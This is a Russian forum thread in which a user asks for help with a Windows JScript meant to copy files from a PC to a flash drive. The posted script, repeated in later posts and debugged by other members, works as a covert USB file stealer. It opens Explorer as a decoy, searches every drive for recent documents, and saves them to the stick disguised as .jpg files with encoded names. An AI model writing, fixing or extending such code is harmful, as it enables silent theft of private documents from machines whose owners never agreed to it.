На главную
ПРАВИЛА FAQ Помощь Участники Календарь Избранное DigiMania RSS
msm.ru
! Правила раздела Visual Basic: Общие вопросы
Здесь обсуждаются вопросы по языку Visual Basic 1-6 (а так же по схожим языкам, как, например, PowerBASIC).
Вопросы по Visual Basic .NET (это который входит в состав Visual Studio 2002/2003/2005/2008+, для тех, кто не в курсе) обсуждаются в разделе .NET.

Обратите внимание:
1. Прежде чем начать новую тему или отправить сообщение, убедитесь, что Вы не нарушаете правил форума!
2. Обязательно воспользуйтесь поиском. Возможно, Ваш вопрос уже обсуждали. Полезные ссылки приведены ниже.
3. Темы с просьбой выполнить какую-либо работу за автора в этом разделе не обсуждаются. Студенты, вам сюда: ПОМОЩЬ СТУДЕНТАМ!
4. Используйте теги [ code=vba ] ...текст программы... [ /code ] для выделения текста программы подсветкой.
5. Помните, здесь телепатов нет. Формулируйте свой вопрос максимально грамотно и чётко: Как правильно задавать вопросы
6. Запрещено отвечать в темы месячной (и более) давности, без веских на то причин.

Полезные ссылки:
user posted image FAQ Сайта user posted image FAQ Раздела user posted image Кладовка user posted image Наши Исходники user posted image API-Guide user posted image Поиск по Разделу user posted image MSDN Library Online user posted image Google

Ваше мнение о модераторах: user posted image SCINER, user posted image B.V.
Модераторы: SCINER, B.V.
Страницы: (2) [1] 2  все  ( Перейти к последнему сообщению )  
> Помогите разобраться начинающему в программах vbs
Доброго времени суток! Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.

ExpandedWrap disabled
    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(doc|rtf|xls|txt)$/i;
            var diff = new Date(2007,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                    try {
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
            fso.CreateFolder(ws.CurrentDirectory+"\\photo");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
        }
    } catch(e) {
    }


Заранее большое спасибо! :wub:
Сообщение отредактировано: JoeUser -
Может, patch - строка и нужны кавычки? Не уверен.
M
Тема перенесена из C/C++ => C/C++: Общие вопросы
Сообщение на автоудалении
Мои программные ништякиhttp://majestio.info
Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.
Мои религиозные убеждения не позволяют мне комментировать код.
Моё мировоззренье таково: в программе комментария ни одного!
Цитата lixen15 @
Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе.


Вроде всё нормально. Какая конкретно ошибка?


Цитата MIF @
Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.


Это JavaScript
Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
И спасибо большое за ответы, я не ожидала, что кто-то отзавется :wub:
Цитата lixen15 @
ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.

Проверь файл, что он в кодировке ANSI, и что расширение у него .js
Я просто скопировал код отсюда, всё нормально никакой ошибки не было
Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(
Цитата lixen15 @
что ни одно фото не открывается и имеет какие то нереально длинные названия(

Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать.
А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software.................
Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)
Цитата lixen15 @
И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа
ExpandedWrap disabled
    var found = softwareEnumerator.item().Name.match(patch);
    var ext = found[0];
Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких :oops:
Покажи код
Олег М
ExpandedWrap disabled
    function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(jpg)$/i;
            var diff = new Date(2018,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                    try {
                        var found = softwareEnumerator.item().Name.match(patch);
                        var ext = found[0];
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\\home")) {
            fso.CreateFolder(ws.CurrentDirectory+"\\home");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\\home", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
        }
    } catch(e) {
    }


Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так
Сообщение отредактировано: JoeUser -
Цитата lixen15 @
Операция теперь проходит без ошибок, но файлов не появляется никаких

потому что ты убрала fso.CopyFile

Добавлено
ExpandedWrap disabled
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
            {
                var found = softwareEnumerator.item().Name.match(patch);
     
                if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                {
                    try
                    {
                        var ext = "." + found[0];
                        fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                    }
                    catch (e)
                    {
                        if (e.number == 61)
                        {
                            WScript.Quit(0);
                        }
                    }
                }
            }


Добавлено
Только для начала лучше проверь
ExpandedWrap disabled
                        var ext = "." + found[0];
                        //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
    WScript.StdOut.WriteLine(ext);


Добавлено
fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
1 пользователей читают эту тему (1 гостей и 0 скрытых пользователей)
0 пользователей:


Рейтинг@Mail.ru
[ Script Execution time: 0,1572 ]   [ 20 queries used ]   [ Generated: 10.12.18, 07:19 GMT ]